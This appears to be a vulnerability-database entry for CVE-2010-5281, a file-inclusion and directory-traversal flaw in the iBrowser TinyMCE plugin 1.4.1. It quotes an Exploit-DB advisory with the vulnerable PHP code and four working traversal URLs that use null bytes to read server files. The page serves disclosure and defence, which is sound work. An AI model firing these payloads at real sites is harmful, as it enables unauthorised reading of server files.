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CVE-2010-5281

medium
Published 2012-11-26 · Modified 2026-04-29
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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
7.8

Description

Directory traversal vulnerability in ibrowser.php in the CMScout 2.09 IBrowser TinyMCE Plugin 1.4.1, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood
20%
Patch ETA
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Exploits

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Exploit-DB

EDB-17850 webapps php text · 2 KB
LiquidWorm · 2011-09-17

iBrowser Plugin 1.4.1 - 'lang' Local File Inclusion

text exploit Source: Exploit-DB 
iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.4.1 Build 10182009

Summary: iBrowser is an image browser plugin for WYSIWYG editors like
tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor developed by net4visions.
It allows image browsing, resizing on upload, directory management and
more with the integration of the phpThumb image library.

Desc: iBrowser suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly
verified before being used to include files. This can be exploited to
include files from local resources with directory traversal attacks and
URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
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67: function loadData() {
68:    global $cfg;
69:    include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
70:    $this -> charset = $lang_charset;
71:    $this -> dir = $lang_direction;
72:    $this -> lang_data = $lang_data;
73:    unset( $lang_data );
74:    include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75:    $this -> default_lang_data = $lang_data;
76: }

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Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5041
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5041.php


15.09.2011

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http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00

Application impact
VendorProductVersionsFixed
net4visionsibrowser1.4.1

References

CWEs

CWE-22

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